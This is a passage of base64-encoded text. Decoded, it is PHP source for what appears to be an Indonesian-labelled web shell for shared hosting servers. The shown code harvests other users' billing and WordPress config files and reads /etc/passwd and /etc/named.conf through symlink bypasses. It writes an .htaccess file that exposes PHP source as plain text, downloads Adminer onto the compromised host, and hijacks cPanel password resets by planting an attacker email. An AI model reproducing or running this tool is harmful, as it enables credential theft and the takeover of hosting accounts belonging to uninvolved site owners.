gPT4gIkhvc3RiaWxscyIsDQoJCQkJCQkJIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9Ib3N0L2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCgkJCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL3N1cHBvcnRlcy9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoJCQkJCQkJIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9zdXBwb3J0L2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCgkJCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL2hvc3RpbmcvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KCQkJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvY2FydC9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoJCQkJCQkJIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9vcmRlci9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoJCQkJCQkJIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9jbGllbnQvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KCQkJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvY2xpZW50cy9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsDQoJCQkJCQkJIi9ob21lLyR1c2VyX2Nvbi9wdWJsaWNfaHRtbC9jbGllbnRlL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCgkJCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL2NsaWVudGVzL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCgkJCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL2JpbGxpbmcvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KCQkJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvYmlsbGluZ3MvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KCQkJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvbXkvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLA0KCQkJCQkJCSIvaG9tZS8kdXNlcl9jb24vcHVibGljX2h0bWwvc2VjdXJlL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwNCgkJCQkJCQkiL2hvbWUvJHVzZXJfY29uL3B1YmxpY19odG1sL3N1cHBvcnQvb3JkZXIvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiDQoJCQkJCQldOw0KCQkJCQkJZm9yZWFjaCgkZ3JhYl9jb25maWcgYXMgJGNvbmZpZyA9PiAkbmFtYV9jb25maWcpIHsNCgkJCQkJCQkkYW1iaWxfY29uZmlnID0gZmlsZV9nZXRfY29udGVudHMoJGNvbmZpZyk7DQoJCQkJCQkJaWYoJGFtYmlsX2NvbmZpZyA9PSAnJykgew0KCQkJCQkJCX0gZWxzZSB7DQoJCQkJCQkJCSRmaWxlX2NvbmZpZyA9IGZvcGVuKCJjb2RleHBsb2l0X2NvbmZpZ3MvJHVzZXJfY29uLSRuYW1hX2NvbmZpZy50eHQiLCJ3Iik7DQoJCQkJCQkJCWZwdXRzKCRmaWxlX2NvbmZpZywkYW1iaWxfY29uZmlnKTsNCgkJCQkJCQl9DQoJCQkJCQl9DQoJCQkJCX0JCQ0KCQkJCX0NCgkJCX0JDQoJCX0NCgkJZWNobyAiPGNlbnRlcj48YSBocmVmPSc/ZGlyPSRwYXRoL2NvZGV4cGxvaXRfY29uZmlncyc+PGZvbnQgY29sb3I9bGltZT5Eb25lPC9mb250PjwvYT48L2NlbnRlcj4iOw0KCX0NCgkNCgkvKg0KCQlBZG1pbmVyDQoJKi8NCglpZigkX0dFVFsnYWtzaSddID09ICdhZG1pbmVyJykgew0KCQkkZnVsbCA9IHN0cl9yZXBsYWNlKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10sICIiLCAkcGF0aCk7DQoJCWZ1bmN0aW9uIGFkbWluZXIoJHVybCwgJGlzaSkgew0KCQkJJGZwID0gZm9wZW4oJGlzaSwgInciKTsNCgkJCSRjaCA9IGN1cmxfaW5pdCgpOw0KCQkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7DQoJCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQklOQVJZVFJBTlNGRVIsIHRydWUpOw0KCQkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsNCgkJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgZmFsc2UpOw0KCQkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZJTEUsICRmcCk7DQoJCQlyZXR1cm4gY3VybF9leGVjKCRjaCk7DQoJCQljdXJsX2Nsb3NlKCRjaCk7DQoJCQlmY2xvc2UoJGZwKTsNCgkJCW9iX2ZsdXNoKCk7DQoJCQlmbHVzaCgpOw0KCQl9DQoJCWlmKGZpbGVfZXhpc3RzKCdhZG1pbmVyLnBocCcpKSB7DQoJCQllY2hvICI8Y2VudGVyPjxhIGhyZWY9JyRmdWxsL2FkbWluZXIucGhwJyB0YXJnZXQ9J19ibGFuayc+LT4gU2lsYWhrYW4gTG9naW4gQWRtaW5lciA8LTwvYT48L2ZvbnQ+PC9jZW50ZXI+PGJyLz4iOw0KCQl9IGVsc2Ugew0KCQkJaWYoYWRtaW5lcigiaHR0cHM6Ly93d3cuYWRtaW5lci5vcmcvc3RhdGljL2Rvd25sb2FkLzQuMi40L2FkbWluZXItNC4yLjQucGhwIiwiYWRtaW5lci5waHAiKSkgew0KCQkJCWVjaG8gIjxjZW50ZXI+PGEgaHJlZj0nJGZ1bGwvYWRtaW5lci5waHAnIHRhcmdldD0nX2JsYW5rJz4tPiBhZG1pbmVyIGxvZ2luIDwtPC9hPjwvZm9udD48L2NlbnRlcj48YnIvPiI7DQoJCQl9IGVsc2Ugew0KCQkJCWVjaG8gIjxjZW50ZXI+PGZvbnQgY29sb3I9cmVkPmdhZ2FsIGJ1YXQgZmlsZSBhZG1pbmVyPC9mb250PjwvY2VudGVyPjxici8+IjsNCgkJCX0NCgkJfQ0KCQlleGl0Ow0KCX0NCg0KDQoJLyoNCgkJU3ltbGluaw0KCSovDQoJaWYoJF9HRVRbJ2Frc2knXSA9PSAnc3ltbGluaycpIHsNCgkJaWYoIWlzX2ZpbGUoJ25hbWVkLnR4dCcpKXsNCgkJCSRkMDBtID0gQGZpbGUoIi9ldGMvbmFtZWQuY29uZiIpOw0KCQl9ZWxzZXsNCgkJCSRkMDBtID0gQGZpbGUoIm5hbWVkLnR4dCIpOw0KCQl9DQoJCWlmKCEkZDAwbSkgew0KCQkJZGllICgiPGNlbnRlcj4NCgkJCQlbIDxhIGhyZWY9Jz9kaXI9JHBhdGgmYWtzaT1zeW1yZWFkJz5CeXBhc3MgUmVhZDwvYT4gXSANCgkJCQlbIDxhIGhyZWY9Jz9kaXI9JHBhdGgmYWtzaT1zeW1fNDA0Jz5TeW1saW5rIDQwNDwvYT4gXSANCgkJCQlbIDxhIGhyZWY9Jz9kaXI9JHBhdGgmYWtzaT1zeW1fYnlwYXMnPkJ5cGFzcyBTeW1saW5rPC9hPiBdDQoJCQkJPGJyLz4NCgkJCQk8Zm9udCBjb2xvcj0ncmVkJz5HYWdhbCBNZW1iYWNhIC9ldGMvbmFtZWQuY29uZjwvZm9udD4NCgkJCQk8YnIvPjxici8+PC9jZW50ZXI+Iik7DQoJCX0NCgkJZWxzZXsNCgkJCWVjaG8gIjxjZW50ZXI+DQoJCQlbIDxhIGhyZWY9Jz9kaXI9JHBhdGgmYWtzaT1zeW1yZWFkJz5CeXBhc3MgUmVhZDwvYT4gXSANCgkJCVsgPGEgaHJlZj0nP2Rpcj0kcGF0aCZha3NpPXN5bV80MDQnPlN5bWxpbmsgNDA0PC9hPiBdIA0KCQkJWyA8YSBocmVmPSc/ZGlyPSRwYXRoJmFrc2k9c3ltX2J5cGFzJz5CeXBhc3MgU3ltbGluazwvYT4gXQ0KCQkJPGRpdiBjbGFzcz0ndG1wJz48L2NlbnRlcj4NCgkJCQk8dGFibGUgYWxpZ249J2NlbnRlcicgd2lkdGg9JzEwMCUnPg0KCQkJCQk8dGhlYWQgY2xhc3M9J2JnLWluZm8nPg0KCQkJCQkJPHRoPkRvbWFpbnM8L3RoPg0KCQkJCQkJPHRoPlVzZXJzPC90aD4NCgkJCQkJCTx0aD5zeW1saW5rIDwvdGg+DQoJCQkJCTwvdGhlYWQ+IjsNCgkJCQkJZm9yZWFjaCgkZDAwbSBhcyAkZG9tKXsNCgkJCQkJCWlmKGVyZWdpKCJ6b25lIiwkZG9tKSl7DQoJCQkJCQkJcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCAkZG9tLCAkZG9tc3dzKTsNCgkJCQkJCQlmbHVzaCgpOw0KCQkJCQkJCWlmKHN0cmxlbih0cmltKCRkb21zd3NbMV1bMF0pKSA+IDIpew0KCQkJCQkJCQkkdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tc3dzWzFdWzBdKSk7DQoJCQkJCQkJCWZsdXNoKCk7DQoJCQkJCQkJCSRzaXRlID0gJHVzZXJbJ25hbWUnXSA7DQoJCQkJCQkJCUBzeW1saW5rKCIvIiwic3ltL3Jvb3QiKTsNCgkJCQkJCQkJJHNpdGUgPSAkZG9tc3dzWzFdWzBdOw0KCQkJCQkJCQkkaXIgPSAnaXInOw0KCQkJCQkJCQkkaWwgPSAnaWwnOw0KCQkJCQkJCQlpZiAocHJlZ19tYXRjaCgiLy5eJGlyLyIsJGRvbXN3c1sxXVswXSkgb3IgcHJlZ19tYXRjaCgiLy5eJGlsLyIsJGRvbXN3c1sxXVswXSkgKSB7DQoJCQkJCQkJCQkkc2l0ZSA9ICIuJGRvbXN3c1sxXVswXS4iOw0KCQkJCQkJCQl9DQoJCQkJCQkJCWVjaG8gIg0KCQkJCQkJCQk8dHI+DQoJCQkJCQkJCQk8dGQ+DQoJCQkJCQkJCQkJPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9aHR0cDovL3d3dy4iLiRkb21zd3NbMV1bMF0uIi8+Ii4kc2l0ZS4iIDwvYT4NCgkJCQkJCQkJCTwvdGQ+DQoJCQkJCQkJCQk8dGQ+DQoJCQkJCQkJCQkJIi4kdXNlclsnbmFtZSddLiINCgkJCQkJCQkJCTwvdGQ+DQoJCQkJCQkJCQk8dGQ+DQoJCQkJCQkJCQkJPGEgaHJlZj0nc3ltL3Jvb3QvaG9tZS8iLiR1c2VyWyduYW1lJ10uIi9wdWJsaWNfaHRtbCcgdGFyZ2V0PSdfYmxhbmsnPlN5bWxpbms8L2E+DQoJCQkJCQkJCQk8L3RkPg0KCQkJCQkJCQk8L3RyPiI7DQoJCQkJCQkJCWZsdXNoKCk7DQoJCQkJCQkJCWZsdXNoKCk7DQoJCQkJCQkJfQ0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJZWNobyAiPC90YWJsZT4NCgkJCTwvZGl2Pjxici8+IjsNCgkJfQ0KCQlleGl0Ow0KCX0NCg0KCWlmKCRfR0VUWydha3NpJ10gPT0gJ3N5bXJlYWQnKSB7DQoJCWVjaG8gInJlYWQgL2V0Yy9uYW1lZC5jb25mIjsNCgkJZWNobyAiPGZvcm0gbWV0aG9kPSdwb3N0JyBhY3Rpb249Jz9kaXI9JGRpciZha3NpPXN5bXJlYWQmc2F2ZT0xJz4NCgkJCTx0ZXh0YXJlYSBjbGFzcz0nZm9ybS1jb250cm9sJyByb3dzPSc4JyBuYW1lPSdmaWxlJz4iOw0KCQkJZmx1c2goKTsNCgkJCWZsdXNoKCk7DQoJCQkkZmlsZSA9ICcvZXRjL25hbWVkLmNvbmYnOw0KCQkJJHIzYWQgPSBAZm9wZW4oJGZpbGUsICdyJyk7DQoJCQlpZiAoJHIzYWQpew0KCQkJCSRjb250ZW50ID0gQGZyZWFkKCRyM2FkLCBAZmlsZXNpemUoJGZpbGUpKTsNCgkJCQllY2hvICIiLmh0bWxlbnRpdGllcygkY29udGVudCkuIiI7DQoJCX1lbHNlIGlmICghJHIzYWQpIHsNCgkJCSRyM2FkID0gQHNob3dfc291cmNlKCRmaWxlKSA7DQoJCX1lbHNlIGlmICghJHIzYWQpIHsNCgkJCSRyM2FkID0gQGhpZ2hsaWdodF9maWxlKCRmaWxlKTsNCgkJfWVsc2UgaWYgKCEkcjNhZCkgew0KCQkJJHNtID0gQHN5bWxpbmsoJGZpbGUsJ3N5bS50eHQnKTsNCgkJCWlmICgkc20pew0KCQkJCSRyM2FkID0gQGZvcGVuKCdzeW0vc3ltLnR4dCcsICdyJyk7DQoJCQkJJGNvbnRlbnQgPSBAZnJlYWQoJHIzYWQsIEBmaWxlc2l6ZSgkZmlsZSkpOw0KCQkJCWVjaG8gIiIuaHRtbGVudGl0aWVzKCRjb250ZW50KS4iIjsNCgkJCX0NCgkJfQ0KCQllY2hvICI8L3RleHRhcmVhPjxici8+PGlucHV0IHR5cGU9J3N1Ym1pdCcgY2xhc3M9J2J0biBidG4tZGFuZ2VyIGZvcm0tY29udHJvbCcgdmFsdWU9J1NhdmUnLz4gPC9mb3JtPiI7DQoJCWlmKGlzc2V0KCRfR0VUWydzYXZlJ10pKXsNCgkJCSRjb250ID0gc3RyaXBjc2xhc2hlcygkX1BPU1RbJ2ZpbGUnXSk7DQoJCQkkZiA9IGZvcGVuKCduYW1lZC50eHQnLCd3Jyk7DQoJCQkkdyA9IGZ3cml0ZSgkZiwkY29udCk7DQoJCQlpZigkdyl7DQoJCQkJZWNobyAnPGJyLz5zYXZlIGhhcyBiZWVuIHN1Y2Nlc3NmdWxseSc7DQoJCQl9DQoJCQlmY2xvc2UoJGYpOw0KCQl9DQoJCWV4aXQ7DQoJfQ0KCQ0KCWlmICgkX0dFVFsnYWtzaSddID09ICdzeW1fNDA0Jyl7DQoJCWVjaG8gJzxoMj5TeW1saW5rIDQwNDwvaDI+DQoJCTxmb3JtIG1ldGhvZD0icG9zdCI+DQoJCQlGaWxlIFRhcmdldDogPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIG5hbWU9ImRpciIgdmFsdWU9Ii9ob21lL3VzZXIvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCI+PGJyPg0KCQkJU2F2ZSBBczogPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIG5hbWU9ImlzaSIgcGxhY2Vob2xkZXI9IltFeF0gZmlsZS50eHQiLz48YnIvPg0KCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tZGFuZ2VyIGJ0bi1ibG9jayIgdmFsdWU9IkV4ZWN1dGUiIG5hbWU9ImV4ZWN1dGUiLz4NCgkJPC9mb3JtPic7DQoJCWlmKCRfUE9TVFsnZXhlY3V0ZSddKXsNCgkJCXJtZGlyKCJ4cGxvaXQ0MDQiKTsNCgkJCW1rZGlyKCJ4cGxvaXQ0MDQiLCAwNzc3KTsNCgkJCSRkaXIgPSAkX1BPU1RbJ2RpciddOw0KCQkJJGlzaSA9ICRfUE9TVFsnaXNpJ107DQoJCQlzeXN0ZW0oImxuIC1zICIuJGRpci4ieHBsb2l0NDA0LyIuJGlzaSk7DQoJCQlzeW1saW5rKCRkaXIsInhwbG9pdDQwNC8iLiRpc2kpOw0KCQkJJGluaWphID0gZm9wZW4oInhwbG9pdDQwNC8uaHRhY2Nlc3MiLCAidyIpOw0KCQkJZndyaXRlKCRpbmlqYSwiUmVhZG1lTmFtZSAiLiRpc2kuIlxuT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzXG5EaXJlY3RvcnlJbmRleCBpZHMuaHRtbFxuQWRkVHlwZSB0ZXh0L3BsYWluIC5waHBcbkFkZEhhbmRsZXIgdGV4dC9wbGFpbiAucGhwXG5TYXRpc2Z5IEFueSIpOw0KCQkJZWNobyc8YSBocmVmPSIveHBsb2l0NDA0LyIgdGFyZ2V0PSJfYmxhbmsiPiA+PlN1a3Nlczw8IDwvYT4nOw0KCQl9DQoJCWV4aXQ7DQoJfQ0KCQ0KCQ0KCWlmICgkX0dFVFsnYWtzaSddID09ICdzeW1fYnlwYXMnKXsNCgkJaWYoaXNzZXQoJF9HRVRbJ3NhdmUnXSkgYW5kIGlzc2V0KCRfUE9TVFsnZmlsZSddKSBvciBAZmlsZXNpemUoJ3Bhc3N3ZC50eHQnKSA+IDApew0KCQkJJGNvbnQgPSBzdHJpcGNzbGFzaGVzKCRfUE9TVFsnZmlsZSddKTsNCgkJCWlmKCFmaWxlX2V4aXN0cygncGFzc3dkLnR4dCcpKXsNCgkJCQkkZiA9IEBmb3BlbigncGFzc3dkLnR4dCcsJ3cnKTsNCgkJCQkkdyA9IEBmd3JpdGUoJGYsJGNvbnQpOw0KCQkJCWZjbG9zZSgkZik7DQoJCQl9DQoJCQlpZigkdyBvciBAZmlsZXNpemUoJ3Bhc3N3ZC50eHQnKSA+IDApew0KCQkJCWVjaG8gIjxkaXYgY2xhc3M9J3RtcCc+DQoJCQkJCTx0YWJsZSB3aWR0aD0nMTAwJSc+DQoJCQkJCQk8dGhlYWQgY2xhc3M9J2JnLWluZm8nPg0KCQkJCQkJCTx0aD5Vc2VyczwvdGg+DQoJCQkJCQkJPHRoPnN5bWxpbms8L3RoPg0KCQkJCQkJCTx0aD5GVFA8L3RoPg0KCQkJCQkJPC90aGVhZD4iOw0KCQkJCQkJZmx1c2goKTsNCgkJCQkJCSRmaWwzID0gZmlsZSgncGFzc3dkLnR4dCcpOw0KCQkJCQkJZm9yZWFjaCAoJGZpbDMgYXMgJGYpew0KCQkJCQkJCSR1PWV4cGxvZGUoJzonLCAkZik7DQoJCQkJCQkJJHVzZXIgPSAkdVsnMCddOw0KCQkJCQkJCWVjaG8gIjx0cj4NCgkJCQkJCQkJPHRkIGNsYXNzPSdsZWZ0Jz4kdXNlcjwvdGQ+DQoJCQkJCQkJCTx0ZD4NCgkJCQkJCQkJCTxhIGhyZWY9J3N5bS9yb290L2hvbWUvJHVzZXIvcHVibGljX2h0bWwnIHRhcmdldD0nX2JsYW5rJz5TeW1saW5rIDwvYT4NCgkJCQkJCQkJPC90ZD4NCgkJCQkJCQkJPHRkPg0KCQkJCQkJCQkJPGEgaHJlZj0nJHBhZ2VGVFAvc3ltL3Jvb3QvaG9tZS8kdXNlci9wdWJsaWNfaHRtbCcgdGFyZ2V0PSdfYmxhbmsnPkZUUDwvYT4NCgkJCQkJCQkJPC90ZD4NCgkJCQkJCQk8L3RyPiI7DQoJCQkJCWZsdXNoKCk7DQoJCQkJCWZsdXNoKCk7DQoJCQkJfQ0KCQkJCWRpZSAoIjwvdHI+PC90YWJsZT48L2Rpdj4iKTsNCgkJCX0NCg0KCQl9DQoNCgkJZWNobyAicmVhZCAvZXRjL3Bhc3N3ZCI7DQoJCWVjaG8gIjxici8+PGZvcm0gbWV0aG9kPSdwb3N0JyBhY3Rpb249Jz9kaXI9JGRpciZha3NpPXN5bV9ieXBhcyZzYXZlPTEnPg0KCQkJPHRleHRhcmVhIGNsYXNzPSdmb3JtLWNvbnRyb2wnIHJvd3M9JzgnIG5hbWU9J2ZpbGUnPiI7DQoJCQkJZmx1c2goKTsNCgkJCQkkZmlsZSA9ICcvZXRjL3Bhc3N3ZCc7DQoJCQkJJHIzYWQgPSBAZm9wZW4oJGZpbGUsICdyJyk7DQoJCQkJaWYgKCRyM2FkKXsNCgkJCQkJJGNvbnRlbnQgPSBAZnJlYWQoJHIzYWQsIEBmaWxlc2l6ZSgkZmlsZSkpOw0KCQkJCQllY2hvICIiLmh0bWxlbnRpdGllcygkY29udGVudCkuIiI7DQoJCQkJfWVsc2VpZighJHIzYWQpIHsNCgkJCQkJJHIzYWQgPSBAc2hvd19zb3VyY2UoJGZpbGUpIDsNCgkJCQl9ZWxzZWlmKCEkcjNhZCkgew0KCQkJCQkkcjNhZCA9IEBoaWdobGlnaHRfZmlsZSgkZmlsZSk7DQoJCQkJfWVsc2VpZighJHIzYWQpIHsNCg0KCQkJCQlmb3IoJHVpZD0wOyR1aWQ8MTAwMDskdWlkKyspew0KCQkJCQkkYXJhID0gcG9zaXhfZ2V0cHd1aWQoJHVpZCk7DQoJCQkJCWlmICghZW1wdHkoJGFyYSkpIHsNCgkJCQkJCXdoaWxlIChsaXN0ICgka2V5LCAkdmFsKSA9IGVhY2goJGFyYSkpew0KCQkJCQkJCXByaW50ICIkdmFsOiI7DQoJCQkJCQl9DQoJCQkJCQlwcmludCAiXG4iOw0KCQkJCQl9DQoJCQkJfQ0KCQkJfQ0KCQkJZmx1c2goKTsNCgkJCWVjaG8gIjwvdGV4dGFyZWE+PGJyLz4NCgkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIGNsYXNzPSdidG4gYnRuLWRhbmdlciBidG4tYmxvY2snIHZhbHVlPSdTeW1saW5rJy8+PGJyLz4NCgkJPC9mb3JtPiI7DQoJCWZsdXNoKCk7DQoJCWV4aXQ7DQoJfQ0KCQ0KCQ0KCWlmICgkX0dFVFsnYWtzaSddID09ICdDcGFuZWxSZXNldCcpIHsNCgkJZWNobyAnPGJyLz48cCBjbGFzcz0idGV4dC1jZW50ZXIiPjxpIGNsYXNzPSJmYSBmYS1rZXkiPjwvaT4gQXV0byBSZXNldCBQYXNzd29yZCBDcGFuZWw8L3A+DQoJCTxmb3JtIG1ldGhvZD0iUE9TVCI+DQoJCQk8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4NCgkJCQk8aW5wdXQgdHlwZT0iZW1haWwiIG5hbWU9ImVtYWlsIiBjbGFzcz0iZm9ybS1jb250cm9sIiBwbGFjZWhvbGRlcj0iTWFzdWthbiBFbWFpbC4uLiIvPjxici8+DQoJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYW5nZXIgYnRuLWJsb2NrIiB2YWx1ZT0iU2VuZCIvPg0KCQkJPC9kaXY+DQoJCTwvZm9ybT4nOw0KCQkNCgkJaWYoaXNzZXQoJF9QT1NUWydzdWJtaXQnXSkpew0KCQkJJHVzZXIgPSBnZXRfY3VycmVudF91c2VyKCk7DQoJCQkkc2l0ZSA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsNCgkJCSRpcHMgPSBnZXRlbnYoJ1JFTU9URV9BRERSJyk7DQoJCQkkZW1haWwgPSAkX1BPU1RbJ2VtYWlsJ107DQoJCQkkd3IgPSAnZW1haWw6Jy4kZW1haWw7DQoJCQkkZiA9IGZvcGVuKCcvaG9tZS8nLiR1c2VyLicvLmNwYW5lbC9jb250YWN0aW5mbycsICd3Jyk7DQoJCQlmd3JpdGUoJGYsICR3cik7IA0KCQkJZmNsb3NlKCRmKTsNCgkJCSRmID0gZm9wZW4oJy9ob21lLycuJHVzZXIuJy8uY29udGFjdGluZm8nLCAndycpOw0KCQkJZndyaXRlKCRmLCAkd3IpOyANCgkJCWZjbG9zZSgkZik7DQoJCQkkcGFybSA9ICRzaXRlLic6MjA4Mi9yZXNldHBhc3M/c3RhcnQ9MSc7DQoJCQllY2hvICc8YnIvPlVybDogJy4kcGFybS4nJzsNCgkJCWVjaG8gJzxici8+VXNlcm5hbWU6ICcuJHVzZXIuJyc7DQoJCQllY2hvICc8YnIvPlN1Y2Nlc3MgUmVzZXQgVG86ICcuJGVtYWlsLic8YnIvPjxici8+JzsNCgkJfQ0KCQlleGl0Ow0KCX0NCgkNCgkJaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KCQkJJHBhdGggPSAkX0dFVFsncGF0aCddOw0KCQkJY2hkaXIoJHBhdGgpOw0KCQl9ZWxzZXsNCgkJCSRwYXRoID0gZ2V0Y3dkKCk7DQoJCX0NCgkJJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCcvJywkcGF0aCk7DQoJCSRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsNCgkJZWNobyAiPGJyLz5Mb2thc2kgU2FhdCBJbmkgPT4gIjsNCgkJZm9yZWFjaCgkcGF0aHMgYXMgJGlkPT4kcGF0KXsNCgkJCWlmKCRwYXQgPT0gJycgJiYgJGlkID09IDApew0KCQkJCSRhID0gdHJ1ZTsNCgkJCQllY2hvICc8YSBocmVmPSI/ZGlyPS8iPi88L2E+JzsNCgkJCQljb250aW51ZTsNCgkJCX0NCgkJCWlmKCRwYXQgPT0gJycpIGNvbnRpbnVlOw0KCQkJZWNobyAnPGEgaHJlZj0iP2Rpcj0nOw0KCQkJZm9yKCRpPTA7JGk8PSRpZDskaSsrKXsNCgkJCQllY2hvICIkcGF0aHNbJGldIjsNCgkJCQlpZigkaSAhPSAkaWQpIGVjaG8gIi8iOw0KCQkJfQ0KCQkJZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsNCgkJfQ0KCQkkc2NhbmRpciA9IHNjYW5kaXIoJHBhdGgpOw0KCQllY2hvICI8aHI+IjsNCgkJZWNobyAnPGRpdiBjbGFzcz0idGFibGUtcmVzcG9uc2l2ZS1sZyI+DQoJCQk8dGFibGUgY2xhc3M9InRhYmxlIHRhYmxlLWhvdmVyIHRhYmxlLWJvcmRlcmVkIHRleHQtd2hpdGUiPg0KCQkJPHRoZWFkIGNsYXNzPSJiZy13YXJuaW5nIHRleHQtZGFyayB0ZXh0LWNlbnRlciI+DQoJCQkJPHRoIHNjb3BlPSJjb2wiPk5hbWE8L3RoPg0KCQkJCTx0aCBzY29wZT0iY29sIj5UeXBlPC90aD4NCgkJCQk8dGggc2NvcGU9ImNvbCI+U2l6ZTwvdGg+DQoJCQkJPHRoIHNjb3BlPSJjb2wiPlBlcm1pc3Npb248L3RoPg0KCQkJCTx0aCBzY29wZT0iY29sIj5BY3Rpb248L3RoPg0KCQkJPC90aGVhZD4nOw0KCQkJDQoJCQlmb3JlYWNoKCRzY2FuZGlyIGFzICRkaXIpew0KDQoJCQkvKiBjZWsgamlrYSBpbmkgYmVyYmVudHVrIGZvbGRlciAqLw0KCQkJLyogY2VrIGppa2EgbmFtYSBmb2xkZXIga2FyYWtlciB0ZXJsYWx1IHBhbmphbmcgKi8NCgkJCWlmIChzdHJsZW4oJGRpcikgPiAyNSkgew0KCQkJCSRfZGlyID0gc3Vic3RyKCRkaXIsIDAsIDI1KS4iLi4uIjsJCQkJCQkJCQkJCQkNCgkJCX1lbHNlew0KCQkJCSRfZGlyID0gJGRpcjsNCgkJCX0NCgkJCWlmKCFpc19kaXIoJHBhdGguJy8nLiRmaWxlKSkgY29udGludWU7DQoJCQkJJHNpemUgPSBmaWxlc2l6ZSgkcGF0aC4nLycuJGZpbGUpLzEwMjQ7DQoJCQkJJHNpemUgPSByb3VuZCgkc2l6ZSwzKTsNCg0KCQkJCWlmKCRzaXplID49IDEwMjQpew0KCQkJCQkkc2l6ZSA9IHJvdW5kKCRzaXplLzEwMjQsMikuJyBNQic7DQoJCQkJfWVsc2V7DQoJCQkJCSRzaXplID0gJHNpemUuJyBLQic7DQoJCQkJfQ0KCQkJaWYoIWlzX2RpcigkcGF0aC4nLycuJGRpcikgfHwgJGRpciA9PSAnLicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsNCgkJCWVjaG8gDQoJCQkJJzx0cj4NCgkJCQkJPHRkIGNsYXNzPSJ0ZXh0LXdoaXRlIj4NCgkJCQkJCTxpbWcgc3JjPSJodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9kZ3QxY3pxbHkvaW1hZ2UvdXBsb2FkL3YxNzIzOTU5NDI4L2ZvbGRlcl9jcmNvcG4ucG5nIiBjbGFzcz0iaWNvIj48L2ltZz4gPGEgaHJlZj0iP2Rpcj0nLiRwYXRoLicvJy4kZGlyLiciPicuJF9kaXIuJzwvYT48L3RkPg0KCQkJCQk8dGQgY2xhc3M9InRleHQtY2VudGVyIj5EaXJlY3Rvcnk8L3RkPg0KCQkJCQk8dGQgY2xhc3M9InRleHQtd2hpdGUiPjxjZW50ZXI+Jy4kc2l6ZS4nPC9jZW50ZXI+PC90ZD4NCgkJCQkJPHRkIGNsYXNzPSJ0ZXh0LXdoaXRlIj48Y2VudGVyPic7DQoJCQkJCWlmKGlzX3dyaXRhYmxlKCRwYXRoLicvJy4kZGlyKSkgZWNobyAnPGZvbnQgY29sb3I9IiMwMGZmMDAiPic7DQoJCQkJCWVsc2VpZighaXNfcmVhZGFibGUoJHBhdGguJy8nLiRkaXIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KCQkJCQllY2hvIHBlcm1zKCRwYXRoLicvJy4kZGlyKTsNCgkJCQkJaWYoaXNfd3JpdGFibGUoJHBhdGguJy8nLiRkaXIpIHx8ICFpc19yZWFkYWJsZSgkcGF0aC4nLycuJGRpc